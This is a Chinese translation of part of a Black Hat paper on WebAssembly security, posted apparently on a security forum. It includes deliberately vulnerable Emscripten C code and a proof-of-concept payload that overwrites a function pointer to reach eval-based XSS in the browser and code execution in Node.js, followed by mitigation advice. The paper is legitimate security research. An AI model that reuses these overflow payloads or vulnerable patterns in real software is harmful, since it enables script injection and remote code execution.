WebAssembly的安全性问题--Part 2

processor又咕咕咕了吗 / 2018-12-24 10:02:00 / 浏览数 2861 技术文章 翻译文章 顶(0) 踩(0)

WASM的安全性问题--Part 2

原文地址:

https://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf

Translated by : Processor
Special thanks for : Swing , Anciety

4. 一些新的利用方式

虽然在WebAssembly中无法实现与本地环境相关的许多利用技术和可能性，但是在网页中运行的本地代码中出现了新技术和可能性。一个特别有趣的新利用是通过Emscrip
API向开发人员提供对DOM的引用。在某些情况下，不安全的C/C++代码可以让攻击者能够为DOM注入精心设计的输入。在安全领域，这称为跨站点脚本攻击(XXS)。

4.1 Buffer Over ow -> XXS

WebAssembly中的数据存储在线性内存中。Emscripten为WebAssembly提供线性内存的方法与GCC等编译器利用虚拟内存的方式大致相同。局部变量和全局变量存储在线

```
extern void bof(char *p1, char *p2)
{
   char bof1[16];
   char bof2[16];
   strcpy(bof1,p1);
   strcpy(bof2,p2);
   EM_ASM({
       document.getElementById("XXS").innerHTML =(Pointer_stringify($0,$1));
       }, bof1,strlen(bof1));
}
```

在这个场景中，假设p1是一个硬编码的静态字符串，由JavaScript定义，p2是从GET或POST请求输入的。因为p1是静态的，所以开发人员不需要执行任何清理或编码，只需

4.2 Indirect function calls -> XSS

作为SDK，Emscripten提供了一个C/C++
API，其中提供了JavaScript互操作性。emscripten.h中提供了这些有用的函数定义和宏的集合。Emscripten文档重点介绍了函数emscripten_run_script()以及用于从C或C

```
extern void emscripten_run_script(const char *script);
```

Emscripten C代码不包含此函数的实现，extern关键字表示它可能是从JavaScript导入的。检查Emscripten生成的JavaScript“glue code”确实验证了这种情况:

```
# emscripten_run_script()■JavaScript■■■C / C ++■■■

function _emscripten_run_script(ptr)
{
   eval(Pointer_stringify(ptr));
}

[...]

Module.asmLibraryArg =
{
   "abort": abort,
   "assert": assert,
   "enlargeMemory": enlargeMemory,
   "getTotalMemory": getTotalMemory,
   "abortOnCannotGrowMemory": abortOnCannotGrowMemory,
   "abortStackOverflow": abortStackOverflow,
   "nullFunc_ii": nullFunc_ii,
   "nullFunc_iiii": nullFunc_iiii,
   "nullFunc_vi": nullFunc_vi,
   "invoke_ii":invoke_ii,
   "invoke_iiii": invoke_iiii,
   "invoke_vi": invoke_vi,
```

```
   "___lock": ___lock,
   "___setErrNo": ___setErrNo,
   "___syscall140": ___syscall140,
   "___syscall146": ___syscall146,
   "___syscall54": ___syscall54,
   "___syscall6": ___syscall6,
   "___unlock": ___unlock,
   "_abort": _abort,
   "_emscripten_memcpy_big": _emscripten_memcpy_big,
   "_emscripten_run_script": _emscripten_run_script,
   "flush_NO_FILESYSTEM": flush_NO_FILESYSTEM,
   "DYNAMICTOP_PTR": DYNAMICTOP_PTR,
   "tempDoublePtr": tempDoublePtr,
   "ABORT": ABORT,
   "STACKTOP": STACKTOP,
   "STACK_MAX": STACK_MAX
};
```

这是一个简单地获取script字符串并在实例化WebAssembly应用程序的呈现网页中运行它的函数。因此，如果在浏览器中作为WebAssembly模块运行，以下简短的C程序将

```
#include <emscripten.h>

int main()
{
   emscripten_run_script("alert('Hello, world!');");
   return 0;
}
```

如果攻击者可以控制传递给emscripten_run_script()的字符串，他们可以进行跨站点脚本攻击。但是，这不是利用此函数的唯一方法。回想一下，攻击者控制的函数指针可用
此攻击情形类似于覆盖函数指针调用system()以在传统libc环境中实现任意系统命令执行。 以下事例演示了emscripten生成的WebAssembly环境中的攻击：

```
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <emscripten.h>

/* Represents a message and an output channel */
typedef struct Comms {
   char msg[64];
   uint16_t msg_len;
   void (*out)(const char *);
} Comms;

/* Conduct the communication by calling the function pointer with message. */
void trigger(Comms *comms) {
   comms->out(comms->msg);
}

void communicate(const char *msg) {
   printf("%s", msg);
}

int main(void) {
   Comms comms;
   comms.out = &communicate;
   printf("&communicate: %p\n", &communicate);
   printf("&emscripten_run_script: %p\n", &emscripten_run_script); // 0x5
   char *payload = "alert('XSS');// " // 16 bytes; "//" lets eval work
                   "               " // + 16
                   "               " // + 16
                   "               " // + 16 to fill .msg = 64
                   "  "              // + 2 for alignment = 66
                   "\x40\x00"        // + 2 bytes to fill .msg_len = 68
                   "\x05\x00\x00\x00";// + 4 bytes to overwrite .out= 72

   memcpy(comms.msg, payload, 72);
   emscripten_run_script("console.log('Porting my program to WASM!');");
   trigger(&comms);
   return 0;
}
```

使用emcc -o fn_ptr_xss.html fn_ptr_xss.c编译程序，它将生成les fn_ptr_xss.html，fn_ptr_xss.js和fn_ptr_xss.wasm。
使用本地Web服务器托管这些文件并访问fn_ptr_xss.html以查看是否调用了JavaScript的alert。

此示例提供了一个通信API，其中64字节消息及其通道在结构中表示。可以使用trigger()API函数触发通信。
如果驱动程序应用程序(在此示例中由main()表示)遇到缓冲区溢出，使得消息Comms.msg溢出到函数指针Comms.out中，则攻击者将能够调用任何可用的匹配函数名并提供

函数main()演示了一个攻击者控制72字节数据(char * payload)通过不安全的memcpy()写入到通信结构中。 Payload由几部分组成:

- 一个良好的JavaScript alert()调用，表示成功执行
- 启动JavaScript行注释(//)以指示eval()忽略行中的其余字符，因为eval()否则会拒绝在其余有效Payload中找到的字节，从而无法执行
- ASCII空格字符贯穿并超过可用于消息的预期64字节空间的末尾，包括两个额外的空格来计算内存中的struct成员对齐
- 写入.msg_len的0x0040或64的小端表示(不是绝对必要的，但是这个例子想象一个使用消息长度而不是NUL终止字符串的API)
- 0x00000005的小端表示，攻击者首选函数emscripten_-run_script()的索引，它覆盖.out原始函数指针值

Comms.out函数指针在WebAssembly二进制文件中表示一个指向接收const char
参数的void函数的指针，并由运行时环境强制执行，在调用时仍然为true。由于接收const char
参数的void函数值被重写为emscripten_run_script()的索引时，签名匹配条件仍然为真，Runtime
check不检测修改的间接函数调用并允许它继续运行。因此，当调用comms-> out(comms-> msg)时，导致emscripten_run_script(comms->
msg)，最终致使JavaScript通过eval()执行我们的payload而没有产生错误信息。

有几个因素可以削弱此攻击的可利用性。已经讨论了第一个:
攻击者必须控制函数指针值，指向函数必须具有与目标JavaScript互操作函数匹配的签名，并且它们必须使用它们的参数调用解除引用的函数，对函数施加足够的控制。这些
目标JavaScript互操作性函数必须由C/C++代码调用，否则它们将在.wasm二进制文件中进行优化，而.wasm二进制文件必须通过LLVM控件流完整性检测。研究这些条件的

4.2.1 更多攻击方式

emscripten_run_script()有几个相近函数，他们有不同的功能。
与emscripten_run_script()一样，它们很可能不会被WebAssembly程序导入，除非它们被主动使用或明确配置为被包含在内。这些函数是:

- int emscripten_run_script_int(const char *script)
- char emscripten_run_script_string(const char script)
- void emscripten_async_run_script(const char *script, int millis)
- void emscripten_async_load_script(const char *script,

```
em_callback_func onload,
                            em_callback_func onerror)
```

如前所述，Emscripten提供了几种从C/C++调用JavaScript的方法。调用任意JavaScript的推荐方法是使用"内联JavaScript"和emscripten.h提供的EM_ASM
*系列宏。之前的"hello world"示例可以重写为:

```
# hello-world-inline.c

#include <emscripten.h>
int main()
{
   EM_ASM(alert('Hello, world!'););
   return 0;
}
```

在此代码上运行C预处理器会发现它调用了一个名为emscripten_asm_const_int()的函数:

```
[...]
# 2 "hello-world-inline.c" 2

int main()
{
   ((void)emscripten_asm_const_int("alert('Hello, world!');" ));
   return 0;
}
```

emscripten_asm_const_int()和相关函数的原型存在于em_asm.h中，这是emscripten.h包含的头文件。em_asm.h包含函数原型和广泛的宏逻辑，用于在给定宏和内联Java

尽管预处理的输出看起来与emscripten_run_script()类似，但是最终的JavaScript实现是不同的。
Emscripten在其输出JavaScript文件中创建函数，包括内联代码，而不是使用eval()。这些函数通过一种命名方案来标定函数名。对于hello-world-inline.c示例，hello-wor

```
var ASM_CONSTS = [function() { alert('Hello, world!'); }];

function _emscripten_asm_const_i(code)
{
   return ASM_CONSTS[code]();
```

```
}
```

可以看出，此函数作为提供给WebAssembly的导入对象，而WebAssembly文本则描述了对此类导入的期望:

```
(import "env" "_emscripten_asm_const_i" (func (;13;) (type 1)))
```

这种组合的结果是一个比使用emscripten_run_script()时更安全的结构。攻击者可能能够使用他们选择的参数调用这些内联代码派生函数，跨站点脚本不是固有的风险，因为

尽管默认情况下比emscripten_run_script()更安全，但是谨慎理解使用内联JavaScript宏可以轻松地转换为利用危险的函数指针覆盖目标，因为安全性的提升源于脚本执行时
-- 类似功能，从参数中获取数据并执行，那么它的存在将是危险的，就像存在emscripten_run_script()是危险的一样。

最典型的演示是使用带有内联JavaScript的eval()

编译最简单的C程序可以显示默认情况下Emscripten无条件地传递给WebAssembly环境的函数。

```
int main()
{
   return 0;
}
```

在使用文本格式编译上述C程序后，可以在文件透附近看到以下类型和导入的函数:

```
(module
   (type  (;0;) (func (param i32 i32 i32) (result i32)))
   (type  (;1;) (func (param i32) (result i32)))
   (type  (;2;) (func (result i32)))
   (type  (;3;) (func (param i32)))
   (type  (;4;) (func (param i32 i32) (result i32)))
   (type  (;5;) (func (param i32 i32)))
   (type  (;6;) (func))
   (type  (;7;) (func (param i32 i32 i32 i32) (result i32)))

[...]

   (import "env" "enlargeMemory" (func (;0;) (type 2)))
   (import "env" "getTotalMemory" (func (;1;) (type 2)))
   (import "env" "abortOnCannotGrowMemory" (func (;2;) (type 2)))
   (import "env" "abortStackOverflow" (func (;3;) (type 3)))
   (import "env" "nullFunc_ii" (func (;4;) (type 3)))
   (import "env" "nullFunc_iiii" (func (;5;) (type 3)))
   (import "env" "___lock" (func (;6;) (type 3)))
   (import "env" "___setErrNo" (func (;7;) (type 3)))
   (import "env" "___syscall140" (func (;8;) (type 4)))
   (import "env" "___syscall146" (func (;9;) (type 4)))
   (import "env" "___syscall54" (func (;10;) (type 4)))
   (import "env" "___syscall6" (func (;11;) (type 4)))
   (import "env" "___unlock" (func (;12;) (type 3)))
   (import "env" "_emscripten_memcpy_big" (func (;13;) (type 0)))

[...]
```

与源C程序相比，导入函数列表较大，源程序执行返回作为其唯一的操作过程。这些函数将出现在Emscripten使用默认编译设置生成的所有WebAssembly模块中。可能会调
- 跨站点脚本的路径。

Emscripten实现系统调用，来简化将软件移植到WebAssembly的过程。这些系统调用在JavaScript中实现，并提供不同程度的近似。例如，当C代码在Linux系统上调用prin
但是，由于WebAssembly环境中缺少此系统调用，因此必须提供该系统调用。Emscripten的printf()版本包括将字符打印到控制台，并在Web环境中打印到HTML页面上显

由于系统调用在传统操作系统环境中通过内核呈现，因此应审查默认的模拟WebAssembly系统调用来确认可利用性。 Emscripten工具链提供的系统调用实现是:

- __syscall6: close
- __syscall54: ioctl
- __syscall140: llseek
- __syscall146: writev

在这些系统调用中，它们都不允许通过eval()直接执行JavaScript，或者通过document.write()等方法编辑DOM或调用元素的innerHTML()方法。然而，writev()的系统调用
['print']的函数。如果将Module ['print']替换为执行其他操作的代码，则Emscripten的源代码非常适合用于HTML编码字符:

```
var Module = {
   preRun: [], postRun: [],
   print: (function() {
       var element = document.getElementById('output');
```

```
        if (element) element.value = ''; // clear browser cache
        return function(text) {
            if (arguments.length > 1)
                text = Array.prototype.slice.call(arguments).join(' ');
            // These replacements are necessary if you render to raw HTML
            //text = text.replace(/&/g, "&");
            //text = text.replace(/</g, "<").replace(/>/g, ">");
            //text = text.replace('\n', '<br>', 'g');
            console.log(text);
            if (element) {
                element.value += text + "\n";
                element.scrollTop = element.scrollHeight; // focus on bottom
            }
        };
    })(),

[...]
```

此函数中的元素是文本。直接设置其值不允许利用跨站点脚本，因此该实现默认是安全的。

滥用syscall146或默认情况下可用的其他系统调用可能会导致特定的安全问题，但这些函数并不容易访问任意JavaScript执行的路径。

除了系统调用之外，Emscripten默认还为WebAssembly程序提供了几个其他功能:

- enlargeMemory()
- getTotalMemory()
- abortOnCannotGrowMemory()
- abortStackOverflow()
- nullFunc_ii()
- nullFunc_iiii()
- nullFunc_vi()
- ___lock()
- ___setErrNo()
- unlock()
- _abort()
- _emscripten_memcpy_big()

与系统调用实现函数一样，这些导入都不是JavaScript执行的直接路径，尽管其中一些可能在WebAssembly中很强大。

4.3 服务器端远程执行代码(Server-side Remote Code Execution)

间接调用在Node.js中也是可行的。考虑之前的示例，将原Payload替换为使用console.log()的Payload，以便它在Node的stdout中可见。

```
char *payload = "console.log('>>>"  // 16 bytes "Server side code" // + 16
                " execution!');//"  // + 16; '//' lets eval() work
                "                "  // + 16 to fill .msg = 64
                "  "                // + 2 for alignment = 66
                "\x40\x00"          // + 2 bytes to fill .msg_len = 68
                "\x05\x00\x00\x00"; // + 4 bytes to overwrite .out = 72
```

将更改的C程序编译为JavaScript模块(emcc -o fn_ptr_code_exec.js fn_ptr_xss.c)
并使用Node(node fn_ptr_code_exec.js)运行它并观察以下输出:

```
&communicate: 0x4
&emscripten_run_script: 0x5
Porting my program to WASM! >>>Server side code execution!
```

正如Payload，这里的安全影响大于浏览器中的安全影响; 我们有一个服务器端代码执行，而不是跨站点脚本。

5. 结论

本文提供了WebAssembly的基本介绍，并检查了开发人员使用它可能带来的实际安全风险。Emscripten是目前最流行的WebAssembly编译器工具链，它在Web页面的上下

5.1 Emscripten开发团队

- 处理用户污染输出:
  在浏览器级别，如果JavaScript引擎可以检测并编码任何看起来来自WASM的输出，那么本文中表示的许多攻击都将被阻止。然而，这将是非常困难的，因为它可能需要
- HeapHardening: 当前基于dlmalloc的实现应该被替换为具有安全性的方案，例如Blink的PartitionAlloc。

5.2 Emscripten开发人员

- 遵循最佳C/C++编程规则:
  开发人员应该意识到WASM仍处于开发的最初阶段，并且在未来几年内可能会发现更多问题。为本地编译建立的所有规则都是相关的，并且在编译为WebAssembly时应
- 避免emscripten_run_script:
  从WASM中动态执行JavaScript是一种危险的模式。如果存在类型混淆或溢出到函数指针等问题，那么这些函数的存在将允许漏洞利用代码直接执行JavaScript。
- 使用Clang的CFI编译时，使用Clang的Control Integrity flag(-fsanitize = c)可以防止某些函数指针操作问题。
- 使用优化可以删除一些可以用于涉及函数指针操作的漏洞的编译器的构建功能。

5.3 未来的研究

在网页上运行本地代码的实现打开了一个漏洞利用场景的新世界。虽然本文为WebAssembly漏洞搜索奠定了基础，但仍存在许多进一步的研究机会。

- Emscripten的堆实现: 逆向工程Emscripten的堆实现将解决许多关于堆元数据损坏，double free漏洞，use after free漏洞以及许多其他基于堆的本地漏洞。
- 定时攻击和侧信道:
  由于硬件侧通道攻击最近风靡一时，留意有多少额外Wasm利用可以应用于涉及严格时序要求的攻击。此外，使用Wasm可能会引入新的计时攻击和侧信道。
- 线程，条件竞争等:
  我们无法研究在Wasm上进行多种程序化编程的性能。竞争条件，检查时间/使用时间(TOCTOU)以及C代码中存在的类似错误可能会延续到Wasm编译中。目前尚不清楚

小结

本部分介绍了一些WebAssembly独特的利用方式，以及该团队的一些后续研究方向。

我也会跟进WebAssembly方面的相关文章以及相关研究。也希望对WebAssembly有兴趣的师傅们可以来带带我，共同交流。

上一篇：hackme.inndy之pwn（上） 下一篇：利用Web应用中隐藏的文件夹和文件...

1. 0 条回复
   - 动动手指，沙发就是你的了！